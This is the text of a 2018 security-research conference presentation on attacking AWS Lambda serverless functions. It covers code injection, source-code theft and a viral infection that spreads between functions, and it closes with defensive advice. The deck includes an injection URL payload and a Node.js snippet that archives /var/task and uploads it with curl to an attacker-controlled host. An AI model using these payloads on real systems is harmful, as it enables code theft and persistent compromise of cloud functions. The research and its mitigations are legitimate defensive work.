Serverless Infections: 
Malware Just Found a 
New Home

Shimi Eshkenazi | October 2, 2018
Shimi Eshkenazi
Innovation Research
Checkmarx

Shimi.Eshkenazi@checkmarx.com
LinkedIn.com/in/shimiesh
Agenda

- Intro to Serverless
- AWS Lambda
- From Code Injection to Viral Infection (Demos)
- AWS Lambda Security
- Key Takeaways
Serverless Computing
(aka Function as a Service)
Serverless Computing
Evolution

Data Centre
- Hardware as the unit of scale.
- Abstracts the physical hosting environment.

IAAS
- Operating system as the unit of scale.
- Abstracts the hardware.

PAAS
- Application as the unit of scale.
- Abstracts the OS.

Serverless
- Functions as the unit of scale.
- Abstracts the language runtime.
Serverless Computing

Evolution

Datacenters
Deploy in **months**
Live for **years**

Virtualized and Cloud
Deploy in **minutes**
Live for **weeks**

Container Deployment
Deploy in **seconds**
Live for **hours**

AWS Lambda
Deploy in **milliseconds**
Live for **seconds**

Credit: Dror Arazi
https://www.slideshare.net/SeaLights/nodejs-to-serverless-by-dror-arazi-sealights-meetup-17117
Serverless Computing
Function as a Service

Develop → Push → Trigger → Clean
Benefits

Scalable
Downsides

New Paradigm
Serverless Functions Solutions

Commercial Solutions

- Google Cloud Platform
- AWS Lambda
- Azure Functions
- IBM Cloud Functions

Open Source Solutions

- Kubeless
- funktion
- fission
- GESTALT
- APACHE OpenWhisk
- IronFunctions
Serverless Functions Comparison

- AWS Lambda
  - Most common & mature (since 2014)
  - Wide language coverage
  - Our demo will be focused on this

- Google Cloud Function
  - Introduced as Alpha in 2016
  - Still considered as Beta in 2018
  - Support only Java-Script (over Node-JS runtime)

- Microsoft Azure Function
  - Introduced 2016 Build conference
  - Support lots of languages (~10) in experimental stage
  - Highly integrated with MS environment (Visual Studio & TFS)
Amazon Web Services (AWS)
Lambda functions

- Introduced in 2014
- Node.JS, Python, Java, Go, .Net-core / Linux container
- Can be triggered by AWS Services, including:
  - API Gateway - REST API call to lambda function
  - S3 update, IoT Button, CLI task and more
AWS Lambda Common Use cases

- Mobile Functionalities backend
- IoT Backend
- Bots, Chatbots
- Scheduled Tasks
- File/Image Processing (high CPU utilization on demand)
- Distributed Computing
  - Fuzzers
  - Machine Learning
- Alexa Skills
Serverless is great!!

What else could we ask for?

Well… SECURITY?
AWS Lambda
Security Advantages

- Running in its own environment
  → potential damage is limited

- Environment is disposed after run
  → no stored/persistent damage
The challenge

Exploiting a code-injection vulnerability in a Lambda function.

To create code-persistent, viral backdoor.

“Intrusion and Exfiltration in Server-less Architectures - Gone in 60 millisecond” by Rich Jones
Demo 0

Introducing the playground
Welcome to Checkmarx

USER #1

NUMBER_ID: 1
NAME: MANAGER
YEAR: 2006
TYPE: USER
VISITORS: 4242

main() users()
Code Injection

“Code Injection is the general term for attack types which consist of injecting code that is then interpreted/executed by the application. This type of attack exploits poor handling of untrusted data. These types of attacks are usually made possible due to a lack of proper input/output data validation, for example:

• allowed characters (standard regular expressions classes or custom)
• data format
• amount of expected data

”

OWASP
https://www.owasp.org/index.php/Code_Injection
Code Injection
AWS lambda environment internal info

- Is there anything interesting on the soon-to-die instance?
Code Injection

http://cxdemo.ddns.net:3000/cars/1"},()=>{});callbac
k(null,process.env['LAMBDA_TASK_ROOT']);//

http://cxdemo.ddns.net:3000/cars/1%22%7d%7d,()=%
%3e%7b%7d);callback(null,process.env%5b'LAMBD
A_TASK_ROOT'%5d);//
Demo 1 - Source code exfiltration

http://cxdemo

Container

/var/task

Main()

Users()

Cars()

http://cxhack
var module = require("child_process");
module.execSync("tar -P -cvf /tmp/target.tar /var/task"); module.execSync("curl cxhack.ddns.net:5000/" + context.functionName + " --upload-file /tmp/target.tar"); //
What else can be done with AWS lambda?

- **AWS-SDK & AWS-CLI**
  
  [Visit the official documentation](http://docs.aws.amazon.com/AWSJavaScriptSDK/latest/AWS/Lambda.html)

- **SDK** - list functions, deploy new ones, update existing, and invoke by code.
  
  - Under the limitation of the role permissions, [authenticated by AWS-Profile](http://docs.aws.amazon.com/AWSJavaScriptSDK/latest/AWS/Lambda.html).
  
  - Within the environment of AWS-lambda function, such authentication is not needed since the function is limited by default to its pre-set execution role.
Let’s “update” ALL lambda functions
And now, let's modify the source code...
Injection to main\cars\users functions
Persistent infection

- But it is a one-time infection
  - After cleaning a function, it stays clean
Welcome to Checkmarx

CAR #1

NUMBER_ID : 1
YEAR : 1990
TYPE : CAR
NAME : BMW
CARS_HACKED_BY_CX : 1

VISITORS : 4301
MAIN_HACKED_BY_CX : 1
Persistent Infection + Cross Contamination

- Each infected function makes sure all other functions are still infected as well
- Otherwise, it infects them again
- With viral infection, we create cross-contamination
Demo 3 – Viral code contamination

1. "Cars" and "Main" are clean
2. Inject "Users" with viral payload
3. "Cars" and "Main" are still clean
4. Load "Users"
5. "Cars" and "Main" are now infected
6. Clean "Main" and "Users"
7. Load "Cars"

Main()

Cars()

Users()
Voilà!

Persistent code contamination in a non persistent environment
A few more words on AWS Lambda security

- Lambda security depends on:
  - **Execution Role**
    What the function is allowed to do
  - **VPC**
    Which Virtual Private Cloud it belongs to
If you do not want to use the access credentials for the main user account, but want to set up a separate user account for Claudia, assign the following roles to the user:

- **AWSLambdaFullAccess** is required for all Claudia deployments
- **IAMFullAccess** is required if you want Claudia to automatically create execution roles for your Lambda function (recommended for beginners). If you cannot use this role due to corporate policies, or do not want to use an IAM role at all, you can manually create a Lambda execution role via the AWS Console, attach an IAM policy that delegates permission to Claudia, and set the `LAMBDA roleArn` env var to point to your custom role.
An example implementation of a mobile backend for a movies database using AWS Lambda, API Gateway and DynamoDB.

**awslabs / aws-serverless-crud-sample**

**README for movies-dynamodb**

This project shows how to use a single lambda function (written in nodejs) to respond to multiple API gateway calls to manipulate data in DynamoDB. We show how to send the data from the API gateway to a lambda function, which checks to see which API call was invoked by the user. It then performs the intended action using CRUD methods in DynamoDB.

Pre-requisite: • Create a IAM role called “Lambda-role” and assign it AWSLambdaFullAccess and AmazonDynamoDBFullAccess

Mobile Backend for Lambda.
By default lambda functions do not have customized VPC, so the network is fully open for outbound traffic.
## Other Serverless solutions attacks status

<table>
<thead>
<tr>
<th>Access Code via code injection</th>
<th>AWS Lambda</th>
<th>Google Cloud Function (GCP)</th>
<th>Azure Function (Microsoft)</th>
</tr>
</thead>
<tbody>
<tr>
<td>V</td>
<td>V</td>
<td>V</td>
<td>V</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Download Code to hacker server</th>
<th>AWS Lambda</th>
<th>Google Cloud Function (GCP)</th>
<th>Azure Function (Microsoft)</th>
</tr>
</thead>
<tbody>
<tr>
<td>V (No VPC)</td>
<td>V</td>
<td>V</td>
<td>V (Can be blocked by network rules)</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Modify Function Code</th>
<th>AWS Lambda</th>
<th>Google Cloud Function (GCP)</th>
<th>Azure Function (Microsoft)</th>
</tr>
</thead>
<tbody>
<tr>
<td>V</td>
<td>No (relevant SDK is not available on runtime)</td>
<td>Yes, but depends on Windows Azure Settings</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Modify Other Function Code</th>
<th>AWS Lambda</th>
<th>Google Cloud Function (GCP)</th>
<th>Azure Function (Microsoft)</th>
</tr>
</thead>
<tbody>
<tr>
<td>V (Permissions)</td>
<td>No</td>
<td></td>
<td>Depends on Windows Azure Setting</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Viral Injection</th>
<th>AWS Lambda</th>
<th>Google Cloud Function (GCP)</th>
<th>Azure Function (Microsoft)</th>
</tr>
</thead>
<tbody>
<tr>
<td>V</td>
<td>No</td>
<td></td>
<td>No</td>
</tr>
</tbody>
</table>
There are at least two servers to attack in a “serverless architecture”
- The server hosting the container
- The server hosting the source code

Containers should not contain unnecessary sensitive data

VPC must be defined – otherwise data can be exfiltrated

The container is already authenticated using the “lambda execution role”
- So the hacker does not need to know the tokens themselves - it is transparent
- And the AWS-SDK can be used freely

Use least-privilege role – `AWSLambdaBasicExecutionRole` with fine grained additional permissions using the AWS Policy Editor

And it is always good to check the quality of code security – especially in serverless computing
Questions?
Also available in the corridors of SecTor and here:

✉️ Shimi.Eshkenazi@checkmarx.com